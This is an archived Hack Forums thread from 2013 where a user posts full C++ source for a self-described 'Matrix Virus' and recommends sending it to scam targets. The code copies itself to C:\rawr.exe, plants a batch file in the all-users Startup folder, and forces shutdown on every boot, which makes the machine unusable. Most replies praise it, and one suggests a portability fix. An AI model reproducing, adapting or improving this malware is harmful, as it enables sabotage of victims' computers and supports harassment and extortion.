Hack Forums
[Shell] VERY Deadly VIRUS! [Source code] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] VERY Deadly VIRUS! [Source code] (/showthread.php?tid=3240970)



VERY Deadly VIRUS! [Source code] - CyberHoax - Feb 7, 2013

DEADLY VIRUS! SOURCE CODE

Hello HF, So all you Batch scripters I have a nice little virus. This virus is called the Matrix Virus. Once this virus is executed, you will never be able to start your PC/Laptop EVER AGAIN! So do be careful. Now why create this? Well If you sent people some porn e.g E-whore. Just send them this or, make them execute it or just do it for fun! So here's the source code:
I Hope you Enjoy!
-Cyber
I am not responsible of the use of this virus.

Code
// The Matrix Virus
// Created by CyberHoax

#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp << "@ECHO OFF \n";
fp << "COPY matrix.exe C:\\rawr.exe \n";
fp << "START C:\\rawr.exe \n";
fp << "EXIT";
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << "0%";
cout << setw(4) << "P";
cout << setw(4) << " ";
cout << setw(4) << ")";
cout << setw(4) << "#";
cout << setw(4) << "X";
cout << setw(4) << "@";
cout << setw(4) << "1&";
cout << setw(4) << "*";
cout << setw(4) << "||";
cout << setw(4) << " \a";
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}



* - mikebail - Feb 7, 2013

Nice m8 I'm gona give this a try! Only thing I would take out is the black mail part, might fit in a little Trouble

Mikebail 🎉


* - Defcon 12 - Feb 8, 2013

oh for fucks sake. ITS NOT EVEN BATCH! JUST BECAUSE THIS PROGRAM OPENS A CMD LINE, DOES NOT MEAN IT IS FOR THIS SECTION...GO TO THE C# OR C++ SECTON dies


* - Nuk3 - Feb 8, 2013

Will try this tommorow looks exciting


* - lolcatz - Feb 8, 2013

are you fucking kidding me my fucking got its not even batch go fucking find out what batch is before you post this shit please


* - Racialz - Feb 8, 2013

This is C++ (or C)

Either way it doesn't belong here...


* - Wonders - Feb 8, 2013

Looks really good mate, thanks for this.


* - Volim te - Feb 8, 2013

Use "getenv("systemdrive")" not all drives are C you know?


(Feb 8, 2013 06:25 AM)Racialz Wrote:  This is C++ (or C)

Either way it doesn't belong here...
It uses a batch file, learn to read.